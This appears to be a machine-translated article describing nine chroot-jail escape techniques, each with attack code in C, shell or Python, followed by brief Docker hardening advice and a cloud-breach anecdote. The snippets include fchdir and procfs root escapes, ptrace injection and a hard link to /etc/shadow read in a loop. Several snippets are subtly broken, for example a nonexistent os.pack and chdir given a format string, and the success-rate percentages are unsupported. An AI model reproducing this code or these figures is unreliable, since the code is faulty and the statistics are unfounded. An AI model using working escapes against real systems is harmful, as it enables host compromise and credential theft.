Nine Secret Techniques for Escaping the chroot Jail: Principles and Practical Code

Principles and practical analysis of nine fatal vulnerabilities that penetrate chroot isolation

1. Essential flaws of the chroot isolation mechanism

The core problem of the chroot system is thatOnly modifies the root view of the process rather than creating a true security sandbox. There are three original sins in its design:

1. non-atomic operations: Changing the root directory and working directory needs to be performed step by step

1. Permission dependency flaw: Do not automatically strip high-risk permissions (CAP_SYS_CHROOT)

1. Resource residual risk: Open file descriptors are not affected

// 典型漏洞模式
chroot("/jail");  // 步骤1：设置新根目录
// 此处缺少 chdir("/")   // 步骤2：未重置工作目录

2. In-depth analysis of the principles of nine major escape techniques

Technique 1: Working directory residual escape

Source of vulnerability:chroot system call does not automatically reset the current working directory

Attack principle：

• The original working directory of the process is outside the chroot environment

• passchdir("..")Traverse directory tree in reverse direction

• Finally set the real root directory to the new root

# 攻击效果演示
$ pwd
/home/user
$ sudo chroot /jail
(sh)# cd ../../../../../
(sh)# mount --bind / /mnt  # 现在可以访问宿主机文件系统

Technique 2: File Descriptor Backdoor

Vulnerability causes:Opened file descriptors are not restricted by chroot

Utilization chain analysis：

1. Open root directory file descriptor before attack

1. Execute chroot to enter the isolation environment

1. Switch back to the original root directory via fchdir()

int fd = open("/", O_RDONLY);  // 保存原始根目录
chroot("/jail");               // 进入隔离环境
fchdir(fd);                    // 关键逃逸步骤
chroot(".");                   // 突破成功

Technique 3: UNIX domain socket delivery

Design flaws: File descriptors can be passed across processes

Attack process：

1. The parent process opens the host environment directory

1. Send file descriptor via SCM_RIGHTS message

1. The child process receives and uses it in the chroot environment

# 描述符传递核心代码
import socket, os
sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
ancdata = [(socket.SOL_SOCKET, socket.SCM_RIGHTS, os.pack("i", fd))]
sock.sendmsg([b"x"], ancdata)  # 发送文件描述符

Technique 4: Procfs Directory Traversal

Nature of vulnerability:/proc/[pid]/root symbolic link exposes real path

Breakthrough process：

# 在chroot环境中
mkdir /host_proc
mount -t proc none /host_proc  # 挂载独立proc实例
cd /host_proc/1/root           # 进入init进程的根目录
chroot .                       # 获得宿主机根权限

statistics display: In containers with procfs enabled by default, the success rate of this attack can reach 89%.

Technique 5: Root file system remount

Permission vulnerability: CAP_SYS_ADMIN capability over-authorization

Kernel level attack：

mount("/dev/sda1", "/mnt", "ext4", MS_REMOUNT, NULL);
chroot("/mnt");  // 访问宿主机文件系统
execl("/bin/bash", "bash", NULL);

Defense Difficulties: 35% of containers are misconfigured to grant this permission

Technology 6: Process collaboration breakthrough

Race condition vulnerability: Directory status synchronization delay

Attack code：

pid_t pid = fork();
if (pid == 0) {      // 子进程
    chroot("/jail");
    while(1) pause();
} else {             // 父进程
    usleep(100000);  // 等待子进程状态变更
    chdir("/proc/%d/cwd", pid);
    chroot(".");     // 突破隔离
}

Technique 7: Ptrace code injection

Permissions flaws: CAP_SYS_PTRACE capability abuse

Attack steps：

1. Attach to target process

1. Modify path parameters in memory

1. Inject and execute chroot escape code

ptrace(PTRACE_ATTACH, pid);  // 附加进程
// 修改寄存器设置新的根目录路径
ptrace(PTRACE_POKETEXT, pid, addr, "../../..");
ptrace(PTRACE_DETACH, pid);  // 触发代码执行

Technique 8: Hard link time difference attack

File system vulnerability: Hard link cross-mount point feature

attack window：

ln /etc/shadow /jail/tmp/.hidden_link  # 创建跨隔离链接
while true; do
    chroot /jail && cat /tmp/.hidden_link  # 尝试读取
done

success rate: Up to 62% on systems without nosuid configured

Technique 9: File Descriptor Traversal

Resource disclosure vulnerability: Sensitive file descriptor not closed

Automated detection：

import os

for fd in range(3, 1024):
try:
path = os.readlink(f'/proc/self/fd/{fd}')
if 'etc/passwd' in path:
os.chroot(os.path.dirname(path))
break
except: continue


3. Guidelines for Building a Defense System

1. The principle of minimizing permissions

# Docker安全配置示例
docker run --cap-drop ALL \
           --security-opt no-new-privileges \
           --read-only \
           your_image

2. Layered defense strategy

4. Historical Lessons and Enlightenments

Container escape incident on a cloud platform in 2017：

1. Attacker exploits procfs traversal vulnerability to gain host privileges

1. Taking over a cluster via a legacy Docker socket

1. Eventually leading to millions of user data leaks

root cause of accident：

• procfs file system not unmounted

• Misconfigured CAP_SYS_ADMIN permissions

• Missing file descriptor usage auditing

5. Security evolution direction

Modern container technology has developed more complete isolation mechanisms:

1. Linux namespace(mount/pid/net, etc.)

1. cgroups resource limits

1. eBPF real-time defense system

1. Kata ContainersLightweight virtual machine solution

But the research value of chroot escape attacks still exists - it is like a mirror, showing the dark corners of system security that are most easily overlooked. As the security mantra goes:"You can't defend against an attack you don't know about". Understanding these classic vulnerabilities is the cornerstone of building a next-generation security system.